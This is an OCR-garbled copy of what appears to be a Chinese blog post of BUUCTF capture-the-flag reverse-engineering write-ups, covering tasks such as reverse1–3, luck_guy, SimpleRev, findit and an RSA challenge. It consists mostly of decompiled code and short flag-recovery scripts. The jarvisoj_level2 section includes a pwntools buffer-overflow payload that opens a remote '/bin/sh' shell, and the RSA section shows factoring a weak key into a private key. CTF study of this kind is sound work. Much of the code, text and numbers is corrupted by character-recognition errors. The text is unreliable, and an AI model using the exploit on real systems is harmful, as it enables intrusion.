buuctf(re)

‘H 1l herculiz T 2021-04-04 22:19:36 K 4ii 158 KR
NHEELHE reverse
e

AR SCHEFE: https://blog.csdn.net/weixin_44309300/article/details/115416952
FiAL

reverse THCFEIZ A

14 50 0 1T B
VTR E A

rerere


https://blog.csdn.net/weixin_44309300
https://blog.csdn.net/weixin_44309300/category_10808442.html
https://blog.csdn.net/weixin_44309300/article/details/115416952
https://blog.csdn.net/weixin_44309300/category_10808442.html

reverse1
reverse2
PR R
BrEHUR

FIEE RS

movsb
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scasb
helloword
xor
reverse3
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luck_guy
jarvisoj_level2
findit

fa] By M 28
JustRe

RSA
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1.shift+f12&F T 48, KIAT5E

Length

Type String

[}

Qooooooc
Qoooooog
Qooooo19
Qoo0000&
Q000000
Qooooo1o
QO0000ZE
Qoooooic
Qoooo011
00ao000F
O0ao00DD
0ooooi1n
0aao001D
Q0000036
0aao00zc
0000001 E
0ooo001 1
00000014
0ao00za
00000026
Q0000006
0000049
O00ao000s
AN &

crdata; 00
crdata; 00
crdata; 00
crdata; 00
crdata; 00
crdata; 00
crdata; 00
crdata; 00
crdata; 00
crdata 00
crdata 00
crdata 00
crdata 00
crdata 00
crdata 00
crdata 00
crdata 00
crdata 00
crdata 00
crdata 00
crdata 00
crdata 00
crdata 00
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wrong flaghn
_hrglist
thiz iz the right flag''n
input
%20=
input the flag:
iz being uzed without being initialized
Stack around the variable ’
’ was corrupted
The variahle ’
The value of ESF was mot properly saved across a funetion call. T
A cast to a smaller data type has caused a loss of data.  If this ==
Stack MEMOXY Was corrupted\n\r
4 local variable was used before 1t was initializedin'r
Stack memory around _alloca was corruptedinir
Unknown Buntime Checl Error’in'r
Unknown Filename
Unknown Madule Name
Bun—Time Check Failure #%d — %=
Stack corrupted near unknown variable
% 2%
Stack area around _alloca memory reserved by this function iz corre"
‘nllata: <

YnblTaration mmber within this fonetion:



) 1 1 12 2 110 20

crdata: 00+ 00000005 C ‘nSize:

crdata: 00+ 0000000T C ‘nhddress: Ox

crdata: 00 00000043 C Stack area around _alloca memory reserved by this function iz corre"
_rdata: 00 00000012 C Hshshpst dbsHds

crdata: 00 00000002 C %shzhsts

_rdata: 00 00000034 C A variable 15 being used without being initialized.
_rdata: 00 00000019 C Stack pointer corruption

crdata: 00 00000024 C Cast to smaller tvpe causing loss of data

_rdata: 00 00000013 C Stack memory corruption

crdata 00 00000024 C Local variable used before initialization

_rdata: 00 0000001F C Stack around _alloca corrupted

_rdata: 00 0000000E C ReglpenReyExW

crdata: 00+ 00000011 C ReglueryValueExW

_rdata: 00+ 0000000C C ReglloseKey

PP PRSP o LT i 1 (W B IR I PIROnanl alidat R

cdata: 000+ QO0Q0000E C {hello_world}
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| inte4 sub_l4@e118Ca()

char *vw@; // rdi

signed  intB4 i; // rox

size_t w2 // rax
size t v3; // rax
char vws; /f/

int j; //

char strl; //

[rsp+24h] [rbp+4h]
[rsp+48h]

[rsp+@h] [rbp-28h]

unsigned  inte4 wd; //

[rbp+28h]
[rsp+128h] [rbp+l@sh]

ve = &v5;
for ( i = 82ie4; i; --1 )
*(_DWORD *)v@ = -858993468;
vE 4= 45
I
for (3 =85 ; +7)
1
lS = :lJ
v2 = j_strlen[5tr2};
if ( vB » w2
break;

if ( str2[7] == 111 )
str2[i] = 48;

printt( input the Tlag:
scanf("¥2@s", &strl);
v3 = j_strlen(5tr2};
if ( !strnomp(&stri, der2, v3) )
printf("this is the right flag!\n"};

else

printf({"wrang flagin™);
sub_14@@1113B(( int64)&S, (  int64)Runk_1488190D08);

return @i6d;

2.4k Str2={hello_world}, Al LT Morfi A &4 1 877 B



BIA—ASCIIFS: 111

ascia 111 smne=es 0

EA—TASCIES: 48 BTN TR

AsclizE 48 wmn=ern 0

ot K270

3.5 Hiflag. 2021.4.3

reverse2
9
@ 18| vE = _ readfsqword(@x28u);
® 11| pid = fork();
® 12| if ( pid )
13
® 14 argv = (const char **)&stat_loc;
® 15 waitpid(pid, &stat loc, @);
16
17| else
15 e
® 19 for (i = @; i <= strlen(&Fflag); ++i )
28
® 21 if ( *(&Flag + 1) == 185 || *(&Flag + 1) == 114 )
® 22 *(&flag + 1) = 49;
23 1
24T
® 25| printf("input the flag:", argv);
® 26| _ _isoc99_scanf("%28s", &s2);
@ 27| if ( !'strcmp(&flag, &s2) )
® 23 result = puts("this is the right flag!™);
29| else
® 30 result = puts(Mwrong flag!™);
® 31| return result;
® 32

«Ud Ld g 0a La s r uo

.data:eaeaepepe06010808 ; char flag
.data:eooeoeseercelese flag db 7Bh
.data:eaea0p0000601080

.data:p080820000601050 public flag

.data:p0p00000005010881 aHackingForFun hb "hacking_for_fun}',®

.data:0000000000601081 _data ends
.data:BEEE0EER0RE01881

.bss:0008000000601092

PN R R A

Ch==:pRRARARRRARATAG2 @ Seement tvne: lindnitialired

: main+34fr

.bss: 0008000080601892 e

6. 202144



1.765%

2.41+0D
.| o64B1859|1 . 8D7D B4 lea edi, dword ptr [ebp-4C]
‘| soueiesc|| . B9 13800088 |mov ecx, 13
g846816861|] . B8 CCCCCCCC | mov eax, CCCCCCCC
68461866 (| . F3:AB rep stos dword ptr es:[edi]
004616868 (] . C745 FC 65881 mov dword ptr [ebp-4], 5
B0uB186F || . C745 F8 1851! mov dword ptr [ebp-8], 88425118
geue16876(| .. EB 89 jmp short 08481881
00481878 8BA5 FC mov eax, dword ptr [ebp-4]
ge46e1687B|] . B3ES 81 sub eax, 1
BO46167E|] . 8945 FC mowv dword ptr [ebp-4], eax
ge4616881|] > 837D FC 88 cmp dword ptr [ebp-4], 6@
geue16885(| .. 7C 18 j1 short B848109F
AL A4 ROT oDpLn Cr maoa LYt Awned ntwe Fahn_hl

358, 2021.4.6
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a- Exeinfo FE — ver. 0.0.4.1

ASCGII

“DBAPP{49d3c93df25caad81232138f3d2ebfad}™

File : 'ﬁﬁﬁt%ﬁ:.exe o JJ n [
Entry Point @ [JoooEzFo. . Joo _<| El on L [ueet ] Sk
y Fileoffset: [ooooraFo First ]ﬁm{
& Limker Info: 222 5ub5ystem-. m PE |

]

By i T
FleSze: [ooooszarh < | | overlay: {;,0000_3:89':, :

Imaoe.is 32hit executable

s
™
L

RES/D¥L: 0 |

|UF‘X -2 Markus & Laszlo wer, [ 3.91 ] <- From file. [ sign like UPX packer | -
) 1L ||b||'|. ) I ﬁ‘ Al %
= e

|0 diffiles , Free mern : 118 MB plugins From : C:idebuger\ S2EHREE T E
IR L S B LT

g[

. ¥

= | winResult. inc

L

[:& winResnlt. 1ib

2.DARE—E

1|int _ cdecl main(int argc, const char **argv, const char **envp)
2

3| int result; // =sax

4| char v4; // [esp+l2h] [ebp-3Ah]

5| __intle v5; f/ [esp+28h] [ebp-2Ch]

6| _ intle v6; // [esp+22h] [ebp-28h]

7

8 main();

9 Istrcpy(&vf—, "HappyNewYear!™); I

10| bz -

11| memset(&v6, @, @x1Eu);

12 printf("please input the true flag:");

13| scanf(#=", &v5):

14 Iif ( !strncmp((const char *)&vs, &5, strlen(&:4)) )
15 =1L = + {"I-In' H i £1 DI":J

16| else

17 result = puts("wrong!”};

18| return result;

19}

HRE B2
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push ebp
mov ebp, esp
push edi
push esi
push ebx
and esp, BFFFFFFF@h
sub esp, 48h
call __ main
lea edi, [esp+l2h]
mov esi, offset aHappynewyear ; "HappylewYear!”
L= e — v =2 ]

[rep movsh
moy ax, dsikord 483068
mov [esp+28h], ax
lea edi, [esp+22h]
Xor ebx, ebx
mov cl, 1Eh

Er‘ep stosh
tr [esp], offset aPleaseInputThe ; “"please input the true flag:”

call _printf

lea esi, [esp+aCh+var 2C]
mov [esp+4], esi

mov dword ptr [esp], offset as ; "¥s"
call _scanf

lea edx, [esp+aCh+var 3A4]
mov ecx, @BFFFFFFFFh

mov edi, edx

mov al, bl

repne scash

oo ELx

dec ecx

mov [esp+8], ecx ; size t
mov [espt+a], edx ; char *
mov [esp], esi ; char *
call strncmp

movsb

MOVSBEIF#F Ep AR iA 45 &, X IFARAHL w5 ALk HE . L SUND BX A 2 A7 5% 12 1l 7 747 A B Ut ik A H Fr sk, BE
1 DS ST X B AEFINAS T35 2 ) 2 Es:01 i3 1 fuhk, S J5 DS:SIK N AR FEAZL

stosb

ZARL N sy MRS, AAZIR )R, W LUK Fons AL AOME A% 35 2 2 5T EsBupTibhbAL , Jf HARYEDFHIE R FZMTDIR
fi, WRDFMNO0, MIHMZiEL)E, DIEHET.

scasb

REPNE SCASBRZ A M EE B M 717 HRIEL, WRKD, ZF=1IHRHIRLPAT; WREKE], Camlikim iR
o PIRHAT—IKSCASBI <4 Ja, DINFIET, MRS TR 7178 Gt X b ik, NOAZ231 BLATIIDIF A2, BT LR
1TDEC ID$R%, 1274 o v (™ 7 A5 i fE 3t ik

helloword

APKEE — Ik #%fih , T HZ2RMFAEMainki %, EiEflags kK.
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=) res

=) smali

1) sndroid
50 com

o

) exanple
=17 helloword

EuildConfiz smali

| 15 Maimhotivity, mali

T
18

=

B

g
g
B
g
8
-
8
g
g
=3
g

=]
=)

Xor

Lpanim. Smalt
Rbattr. smali
Bfbool. smali
Rfcolor. smali

|5 Ebdimen, smali
5 Bbdrawsble. snali
5 E$id smali

Rbinteger. smali

|5 Rflayout. smali
|8 Efmer, smali

Rfstring. smali

|5 Efstyle smali

Rbstyleable. smali
R smali

[
{
%
|
|

-end method

# virtual methods
.method protected onCreate (Landroid/os/Bundle; )V
.locals 4

-param pl, "savedInstanceState"  [iEHOROTGN G/ SURGUERN

.prologue
«line 13
invoke-super {p0, pl}, Landroid/support/v7/app/ActionBarActivity;->onCreate (Landroid/os/Bundle; )V

«line 14
const v3, OxT7£030018

invoke-virtual {p0, ¥3}, Lcom/example/helloword/MainActivity;->setContentView(I)V

«line 13
const-string v, "flag{7631a%3325%a008l6édedad4afb2%430a}l"

«line 1¢&

.local v0, "a":LJEvas I8Ny  oCring.

const-string vl, " "

.line 17

.local vl, "b":Ljava/lang/String:;

invoke-virtual {v0. wl}. Liava/lana/5trina:->compareTo(liava/lana/5tring:}I



1.755, &Fmain

L Lum view m L= Lacuuvuuus n ey T nex riew L L4 Sl urLures Lisy Luns
1|/int _ cdecl main(int argc, const char **argv, const char **envp)
2
3| char *®3; // rsi
4| int result; // eax
5| signed int i; //
5| char va[284]; //
7| __inte4 v7; // [rsptlas bp-8
9| memset(vs, 8, Bx188uLL};
10 vs = (char ©)256; . A = f_
11| printf({"Input your flag:\n", @LL); V6{$ﬂ7 | XOI‘}STE_'{';E, |—19¥;Ié|\
12| get_line(ve, 256LL);
13| if ( strlen(ve) != 33 )
: E,UL'U LHULL_J.CJ
1 for (1 =1; 1 € 33; ++1 )
1 ol[i] »= ve[i - 1];
17 e = B 6] 4 [
18 if ( !strncmp(vé, global, @x21ull} )
19 printf("Success", v3); _—-* _
20| iee fe¥Eve=global
Z1|LABEL_12:
22 printf("Failed", v3);
23| result = _ stack_chk_guard;
24| if ack_chk_guard == v7 )
25 = 8;
26 esult;
270}

2.1 F global%i

data:0000000100001058 ; char *global
data:eaea000100001050 _global dq offset aFI('I.\b)(ZUF‘FVMDGH
data:@0eae00100001850 ; -
data:ea00000100001050 _ data ends A UNARLIp A I9F Wl Fuly "M
data:@0eae00100001850
| INNFF - GRARARAT BRARTARR -
assume cs:__cstring
‘ a8 ;org 10B80DF6ER
cstring:0800800180000F6E aFKWOXZUPFVMDGH[AB ', BAN T T DATA XRET: _data:_globallo
‘ :6600000100000 db "k’,BCh, 'w&0.@",11h, x’,8Dh, 'Z;U",11h,"p’,19h, F*,1Fh, V"MD" ,@E, 'g’
a8 db 6,'h",8Fh, '620",0

alnputYourFlag db "Input your flag:',@ah,@

; char aSuccess[]
aSuccess db '"Success',d
: char aFailedl1

,OX0A, ,0x0C, ,0x11, ,0x19, ,OX1F,
,6, , OXOF,

(1, (strl)):
(strif[i], )):

if( (stri[i-1], )):

flag ( (stri[i]) (stri[i-1]))
else:

flag (stri[i])~stri[i-1])

else:

flag (stri[i] (stri1[i-1]))

print(flag)

reverse3



1L FERD AT 45 Histr

| _inte4  cdecl main_&()

int v@; // eax

const char *vl; // eax

size t w2; // eax

int v3; // edx

_ int64 v4; // ST@s 8

signed int j; // [esp+DCh] [ebp-ACh]
signed int i; // [esp+E8h] [ebp-aAgh]
signed int v8; // [esp+EBh] [ebp-48h]
char Dest[108]; // [esp+Fah] [ebp-94h]
char str; // [esp+l6@h] [ebp-28h]
char v11; // [esp+17Ch] [ebp-Ch]

for (1 =8; 1 < 180; H1i )
if ( (unsigned int)i »= @x64 )
j report_rangecheckfailure();
Dest[i] = @;

sub_41132F("please enter the flag:");

PITI I e o  ~al  T P | X WY

v = j_strlen(&str); 7
vl = {const char *)sub_4116BE((int)&5tr, v@, (int)&v11}; TEEStF}]DE%?
TP LSy Ty URIOT [y

vd = j strlen{Dest);

et e T | B EEIREV T TR

if ( !strncmp(Dest, Str2, v2) )
sub_41132F("rigth flag!\n");
else

:-:UL'_‘IJ.J.JdrI‘_ Wi UIIE IJ.ﬂE. AT ’]J
HIDWORD(v4) = v3;
LODWORD(v4) = @;

return v4;

) Bstr->str2

e I T A e B B A T I e I e B L o e T = = R A Y
—

R/

veo= g
while ( v11 > @ )
1

byte_41A144[2]
byte_41A144[1]
byte_41A144[@]
for (1 =8; i<

PR

1
[y I~
-

£l

&% w11 »=1; ++i )

byte_41A144[1]
--vll;
+vl3;

*v13;

1
if (11}
break;
switch ( 1)
1
case 1:
t((_BYTE *
vd = w7 4
*({_BYTE *

Jost + v7) = afAbcdefghijklmn[(signed int){unsigned _ intd)byte_41A144[8] »>» 2];
1
J
*((_BYTE *)
)
1

W
+

vi++) = aAbcdefghijklmn[64];
v4) = aAbcdefghijklmn[64];

20 0 e
W
+
+

*((_BYTE *
vy = wvd +
break;
case 2:
*((_BYTE ”)
ve = wyl + 1
*((_BYTE *)
*((_BYTE *)
)
1

W
+
+

Dst + v7) = afbcdefghijklmn[({signed int)(unsigned _ int8)byte_418144[8] »> 2];

200 0 e
u
[ad
+

*((_BYTE *
vi = ws +
break;

case 3:
*((_BYTE *)Dst + v7) = afbcdefghijklmn[({signed int)(unsigned _ int8)byte 41A144[8] > 2];
ve = w7 + 1;

st + v5) = afbcdefghijklmn[64];

+ va+t) = ambedefghijklmn[((byte 41A144[1] & @xF@) >> 4) | 16 * (byte_41a144[8] & 3)];

st + vSH) = adbcdefghijklmn[((byte_41A144[1] & exF@) >> 4) | 16 * (byte_41a144[@] & 3)];
vS++) = adbcdefghijklmn[((byte_41a144[2] & @xC8) >> 6) | 4 * (byte_41A144[1] & @xF)];

*¥£F pwTE FAnos 0 10 - m Al ALkl LT P A b~ ATATAATAT 0 AccaYy v A% | 22 ¥ flat- ATATa4aaTal 0 347



T = @ADLUTETIL JRLIATH] L LUy LS SLALSS| L | & TArd ) ~7 ) | +9 & LUYLS SFLRLSS| T @ 2] |
Dst + vi++) = adbcdefghijklmn[((byte 41A144[2] & 8xC8) >> 6) | 4 * (byte 41A144[1] & @xF)];
+ vB) = aAbcdefghijklmn[byte 41A144[2] & @x3F];

db 8
afAbcdefghijklmn db 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopgrstuvwxyz@1234567894/ ="

| M M mmm

| L g Ll P

TS & ™M

db @

ISR, "k

Kr it baseB4 N % .

BASE644%h5

HE: [A-Z,a-2,0-9, +, /]64NGEMR., HEE=AE

3.str2py 7%
.data:ee41A834 ; char Str2[]
.data: 88418834 Str2 db "e3nifIH9b C@n@dH',@ ; DATA XREF: _main_@+142fc
.data:0a414045 db a
.data:ee414846 db ]
.data:ead414047 db a

(o, (strl)):
( (stri[i]) i)

base64.b64decode (temp)
flag.decode( )

A—rHiflag
15, WEREE




PEAE LN, HENRR B A
2R TR

Address |Disassembly Text string
APu91279 | ascii "E"f'l':'l'",l]
00401280| sub esp, 1C (Initial CPU selection)
004812F 8 mou dword ptr [esp], 064083800 ASCII “libgcj-13.d11"
00481381 | mov dword ptr [esp+4], B8048308E " i "
00401359 | mov ebx, 00402000 rHS[:II "'#1111010000101 008010111 14#™
B84 8136E | mow dword ptr [esp]., B84AZ62Y4 ASCII “"you can choose one action to execute”
8048137A | mou dword ptr [esp], 68483849 ASCII "1 up™
ABL 81386 | mow dword ptr [esp], B84838B4E ASCIT 2 down®
804681392 | mov dword ptr [esp], 08483855 ASCII “'3 left"
0040139E | mov dword ptr [esp], B0408385C ASCII "4 yight™”,LF,":"
804681382 | mov dword ptr [esp], 88483866 ASCIT *%d™
00401441 | mov dword ptr [esp], B040306C ASCII ©A,"ok, the or"
AB4B16ES | mov dword ptr [esp], 868483898 ASCII "Mingw runtime failure:",LF
884081822 | mov dword ptr [esp], @84038BO ASCIT " VirtualQuery failed for %d bytes at address %p"
AB4B18F 8| mov dword ptr [esp], 86483118 ASCII * Unknown pseudo relocation bit size %d.",LF
B84B819F8 mow dword ptr [esp], 004836EY4 ASCII " Unknown pseudo relocation protocol version %d.",LF
25N, IELF5X51 ]
*1111
01000
01010
00010
1111+#

0nJ & AT E.



IDAHBG I RE B A5 A8 -

main();
N H
5 = 8;
L L=ty e . ey _data_start__, Bxlgu);
while ( 1 )
{
puts("you can choose one action to execute™);
puts("1 up");
puts("2 down"};
puts("3 left");
printf("4 rightin:"};
scanf("%d", &ve);
if (v == 2}
{

+ud

}
else if ( ve > 2 )

{
if (w6 = 3 )
{
¥
else
{
if ((ve I=4)
LABEL_13:
exit(l);
+Hv5;
}
¥
else
if (ve I=1)
goto LABEL_13;
¥
for ( 1 =@; 1 <=1; +1 )

if ( (R + i) <@ || *(&va + i) > 1)

exit(1l);

if ( *((_BYTE *)&E + 5 * vd4 + v5 - 41) == 49 )
wsEE

if ( *((_BYTE *)&E + 5 * w4 + v5 - 41) == 35 )

puts("\nok, the order you enter is the flag!™);

=E -y Y

t
00000734 _main:? (401334)

M0, 0 .

4. 1T 2
222441144222

the order you enter is the flag!

b i % 2k it A2 flag

SimpleRev

(v4 Vv5)BI 9] 4kt



1EEXMHERE, DNy

2. DA N sk

v12 = _ readfsqword(@x28u);
*ysrc = "SLCDN'; // NDCLS

// hadow
vll = 8;
text = join(key3, (const char *)&9); /1 key3+va
strepy(key, keyl);
streat(key, src); I/ keylesrc
vl o= 83
vi o= 83
getchar();
len(key) = strlen(key); /A len(key)=18
Tor L L =05 1 TEMLRey s TTL 7

if ( key[v3: ¥ len(key)] > 64 8% key[v3 ¥ len(key)] <= 98 }// AT
key[i] = key[v3 % len(key)] + 323
+Hu3j
s
printf("Please input your flag:", src);
while ( 1)
{
vl = getchar();
if (vl == "\n")
break;
if (wvl=="")
{
+Hv2;

1

), dyn

BuildID

str2BIv1IN=a RIS
v K flag

else

if ( vi<=96 || v > 122 ) Fanz

if (vl > 64 B& v1 <= 98 )
str2[v2] = (vli - 39 - ke

/1 AT
2++ & len(key)] + 97) ¥ 26 +

else

/i a~z
str2[v2] = (vl - 39 - key[vi++ ¥ len(key)] + 97) 6 + 97;

}
if (w3 % len(key)) )
putchar(" "});
w2
+

374 wItElen(Okey ENMT iEE(e,10)

1
if { !strcmp(text, str2) ) //////
puts(“Congratulation!\n");

else

3. ik
str2[v2] = (v1 - 39 - key[v3++ % len(key)] + 97) % 26 + 97,

v pflaglipil,
flag[i] = str2[v2] - 97 + 26% - 97 +key[v3%V5] +39

JHIEH (e, 10) , 1@t mr LA R s AN T .

44



(o, (text)):
CR)E
(text[i])-97 26%j 97 (key1[v3%v5]) +39

65 and 90 or 97 and 122):
flag (

break

Javajlf [n] i 2%

1.DEAFTTF, EEKEINE

Encrypt( [1 arr) {
ArrayList<Integer> Resultlist = ArrayList()

i = i < arr. ++1) {
result = arr[i] +
Resultlist.add(result)

[] KEY = [14
ArraylList<Integer> KEYList = ArrayList()

( is= i < KEY. ++j) {
KEYList.add(KEY[j]1)

System.out.println( )
(Resultlist.equals(KEYList)) {
System.out.println(

{
System.err.println(

https://blog.csdn.net/weixin_44309300

2 1 HfEarri]

strs = [180, 136, 137, 147, 191, 137, 147, 191,
148, 136, 133, 191, 134, 140, 129, 135, 191, 65]

(o, (strs)):
(strs[i] 64/32)




luck_guy

1.765%, elfstff.

: ELF 64-bit LSB able 86-64, version 1 ( }, dynamicall
"1ib64/1d-1inu: 64. for GNU/Linux 2. , BuildID[shall]

Welcome to

Designed by
Good luc

Smmm , find
emmm find
emmm find
emmm find
emmm, \ a find

3R PRI AL

2|lint _ cdecl main(int argc, const char **argv, const char **enwvp)
3l

4| int wv4; // [rsp+lah] [rbp-Ch]

5| unsigned _ inte4 v5; // [rsp+lB8h] [rbp-8h]

7| w5 = _ readfsqword(8x28u);

8| welcome(*{ QWORD *)&argc, argv, envp);

9 puts(” B H

8| puts("try to patch me and find flag");

puts(“"please input a lucky number™);
iz0c99 scanf(Hd”, &vi);

patch me(v4);

puts( OK,see you again™);

N [ W B O Y I ]
—

return &;
1fint _ fastcall patch_me(int al)
21
3| dnt result; // eax
4
5
=
g
=
9
&

=&

__readfsqword(@x28u);
2 v time(OLLY:



3| srand(ve);

4 for (1 =8; 1 <=4; ++i )

5

6 switch ( rand() % 280 )

7 {

8 case 1:

9 puts("OK, it's flag:");

a memset( &=, A, Ax2Rull Y.

1 strcat((char *)&s, f1);

2 strcat((char *)&s, &F2);

3 printf("#s", &s);

4 break;

5 case 2:

6 printf("solar not like you™); p | .
| breaks TR TSWICHA-> 5-> 17
g i " W i i "y . 4
g E:::Ef( Solar want a girlfriend"); *5'51 {E_ll'-ll:l:llﬂag
1 case 4:

2 /G o= B3

3 = =" fo guci';

- strcat(&f2, (const char *)&s);

5 break;

6 case 5:

7 for ( 1 =8; 1 <=7; ++7 )

B {

9 if (j%2==1)

B vLo= *(&F2 + 7)) - 2;

1 else

2 vL = *(&F2 + 7)) - 1;

3 *(&F2 + §) = vi;

4 }

5 break;

B default:

7 puts("emmm,you can't find flag 23333");

B break;

9 3

el }

1| return _ readfsqword(@x28u) ~ v7;

20

3 HERIA

s=s@[::-1]
print(s)

iin
if i%2==1:
key (s[i])-2)
else:
key (s[i])-1)
flag=Ffl+key
print(flag)

jarvisoj_level2



Arch:
RELROD:
Stack:

Input:

size t wvulnerable_function()

{

L

char buf; // [esp+Bh]

system("echo Input:™};
return read(@, &buf, 8xl@éu);
h

=] e

2.
.data:8884A822 db a8
.data: 88840823 db a8
.data:B8084A824 public hint
data:@884A824 hint db '/bin/sh’,8 | |
tataresetad2d data e
data:@ge4a924
155 :BBBAAB2C ; =================s===============s=====s=========================
bss :0304402C
| S OO A AT [ - - r - ' . - ——d

from pwn import
sh remote ( ,25404)

payload ox88 p32(0xdeadbeet) p32(0x8048320)+p32(0xdeadbeef)+p32(0x8042024)
sh.sendline(payload)

sh.interactive()

findit



ot E R H, FAPKIDEST JT.

1.main B & I AT 45 £

Yer:l.UL1)
Fackage: com. example findit

SDEVer: &

2@ P+ d X -

3[4 com. example. findit

=

E] res
E|E| =mali
B0 andreid
EE‘ com
E|E| example
B findit

2 He Al i

-+ AndroidManifest. xml
apktool. yml
{7 eriginal

----- |5 BuildConfig smali

P, L]

ML
82
853
594
a5
86
=7
88
a9
100
101
102
103
104
105
106

S Maindeetivityid—am
= :

----- 2| Mairhetivity, smal

J.E']"
1hs

2 Sty

T

..... |8| Bfanim. smali

..... |E| Rfattr. smali

..... 1B Eibool. smal:

----- |E| Rfcolor. smali

----- |E| Rfdimen. smali

----- 18] Efdrawable. smali
..... 1B E$1d. smal:

..... 1B Efinteger. smali
..... 1B Eflavout. smali
----- = Eimenu. smali

..... 1B Efstring. smali
..... 5| Efstyle. smali

..... 5| Efstyleable. smali

----- 2R =mali

i

109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129

rarray u
.array-data
x54s
X&8s
xeo9s
xT73s
x49s
xT73s
x54s
X&8s
x&5s
x46s
xecs
xe&ls
xeTs
X48s
xefs
xeds
xE65s=
.end array-data

.line
nop

rarray 1
.array-data
0x70s



[0x70,




pvk%{m1646?526203314m491np?p9mnk28k75}
35S

3. HURCE

HifEs:

pvkg{m16467526203314m49Inp7 pOmnk28K75}

mnEEREE:| 10 =l = IH%%H'

HiE:

flag{c164675262033bdc49bdf/f9cda28ara}
B — A — MR R
/‘ﬂk‘ AY ‘\ »
fi] BT 4
1.apk

}
iT (flag = 1) 1
char[] x = "dd2940c04462b4dd7c450528835ccal5".toCharArray();
x[2] = (char) ((x[2] + x[3]) - 50);
x[4] = (char) ((x[2] + x[5]) - 48);
x[30] = (char) ((x[31] + x[9]) - 48);
x[14] = (char) ((x[27] + x[28]) - 97);
for (int i1 =0; 1 < 16; i++) {
char a = x[31 - i];
x[31 - 1] = x[1];

x[i] = a;
}
textview.setText("flag{" + String.valueOf(x) + "}");
return;

}
textview.setText( " A EMEDIER");

JustRe

1.IDA# % String



‘s’ . rdatar Ut UUUUOUL A L Humtime Error!'\n'\ntrogram:
5| L rdata:00- 00000017 C {program name unknown?
5| L rdata:00 00000013 C GetLasthotiveFopup
e’ rdata: 00+ 00000010 C GethotiveWindow
<’ rdata: 00+ 0000000C C MeszagzeBoxh
2’| L rdata: 00+ 0000000 C useriz. d11
‘5’| . rdata:00+ 00000005 C USER3Z. 411
E crdata: 00+ 00000000 C KERNEL3Z. 411
B . data:004== 000000 ©
5’| . data: 004+ 00000010 C MRS T %d T
[5] . data: 004 DOOODO0G C W
[5] . data: 004 DOOODO0G C W
@ _data:004-- 0OOOOO0G C IE|
252X 51 H
PRFE- RN - P L AR AN uw v

.data: 008467030 ; char aBjdDD2869a4579[ ]
.data:80487036 aBjdDD2@69a4579 db ' BID{¥d¥d2@69345792d233ac}’,@

.data:ea467030 | ; DATA XREF: DialogFunc+5ATo
.data:ea467046 align 4

.data:ee468704C ; char aD[16]

.data:ARAATAAC aD dh "HEREST ¥4 A0 : NATA XRFF:

NialasFunc+35ta

3. %d I A
1[B00L _ stdcall DialogFunc(HWND hkind, UINT a2, WPARAM a3, LPARAM a4)
el
3| CHAR String; // [esp+@h] [ebp-64h]
4
5| if (a2 1= 272)
6
7 if ( a2 =273 )
8 return @;
9 if ( (_WORD)a3 != 1 && ( WORD)a3 != 2 )
1a
11 sprintf(&string, aD, ++dword_4839Fa);
12 if ( dword_4@99F@ == 19999 )
13
14 sprintf(&String, pBjdDD2869a4579,) 19939, @);
15 SetWindowTextA(hknd, &String);
16 return @;
17 1
18 SetWindowTextA(hknd, &String);
19 return @;
28
21 EndDialog(hWnd, (unsigned _ intl6}a3};
22| }
23| return 1;
24[}

1999910, # ABJDZHiflag

RSA

- (LHEZ)

L
ws flag.enc

“lpubkey
AR BT AS S, —AMlag, —>pub.keyAH .
fift vk B AHEH q,p,nedkEprivate A ] %35 ag .

) H kali L T 1) T- H.openssIZR A AH 2R (Fpubi) 5 2N .pem) -
opensslfii H /7 1%t B


https://vimsky.com/article/3608.html

openssl rsa -pubin -text -modulus -in warmup -in

RSA Public-K
Modulus:
00:cO:

Exponen
Modulu
writing R
BEGIN PUBLIC KEY
MDwwDQY JKoZIhvcNAQEBBQADKwAWKAThAMAzZ LFxkrkcYL
/ rl ZdAgMBAAE=
—END PUBLIC KEY

>>> int (0xC0332C5C64AE47182F6C1C876L
36934482296048119190666062003494800:¢

nfE k|, R TR LR L 23RS q,p 7 2k | Hhttp://mww.factordb.com

Search Sequences Report results Factor tables Status Downloa¢

‘33496832406833037520401DU187123245D767758D2838668125325785316315004396778586536866210198[‘ Factorize!

Result:

tatus () digits number
F 193 (show) 3349683240...91 <193 = 1830213987...07 <975 - 1830213987...13<97>

F| A rsatool T B 4 Bt fA £ https://github.com/ius/rsatoolZ e il (gmpy2ic 152 2% (K i ik 4 sudo apt-get install libmpc-dev )

rsatool.py -o private.pem -e 65537 -p 285960468890451637935629440372639283459 -q 3040087416046019244943
272418463

feclc876d4

(9=10001)

I A 1 private fA 40 i 5 flag.enc

openssl rsautl -decrypt -in flag. -inkey private.pem

[ACTF#74E 3£ 2020]easyre

1, #5¢
UPX5%


http://www.factordb.com
https://github.com/ius/rsatool

upx -d easyre.exe //fiis

2, fuitDA

MAIN £ £

1lint _ cdecl main(int argc, censt char **argv, const char **envp)
2t

3| _BYTE w4[12]; // [ebp-2Eh] BYREF

4| _DWORD wS[3]; /4 [ [ebp-22h]

5 r6[5]s // [esp+28h] [ebp-16h] BYREF

6 w7; // [esp+2Fh] [ebp-11h]

7| int v8; // [esp+33h] [ebp-Dh]

8| int v9; // [esp+37h] [ebp-9h]

9| char v18; // [esp+3Bh] [ebp-5h]

e8| int i; // [esp+3Ch] [ebp-4h]

1

2 main();

3|[ gmemepy(va, “¥EUVNLA (148", sizeof(va)); |

4| printf{"Please input:");

5| scanf("#s", v&);

6 if { we[e] != 'a" || we[1] != 'C" || we[2] !'= 'T" || v&[3] !'= 'F" || v&[4] !'= "{" || vie I= "}" )
7 return @;

g vs[@e] = v7;

9| wS[1] = va;

@ vs[2] = vo;

1| for (1 =8; 1 <= 11; ++1 )

3 if ( w4[i] '= _data_start_ [*((char *)v5 + i) - 1] )
4 returT @5

5

6| printf("You are correct!™);

7| return @;

a(}

CLAIV4,Ve Rl _data_start RvsH[iflag.

.03Ta:Ye4uL0uy ; CNar _data _Start_ | Yo
.data:ee462808 _ data_start  db "~}

.data: 00402000 ; DATA XREF: _main+ECTr

.data: 88402080 db '=<;:9876543218/.-,+*)(',27h, "&%5% 1" 0

.data: 00402060 align 4eh

.data:ea462080 public _ CRT_gloh

.data:AR4AARA CRT =lnh dd AFFFFFFFFh : NATA XRFE: minew CRTStartuntdate

IDATFHEE, RFEH#MEREA, VAL

Jtextipedalsd4e

.text: 28481348 push ebp

Ctext: 88461341 mov ebp, esp

Ltext: 88481343 and esp, BFFFFFFF@h

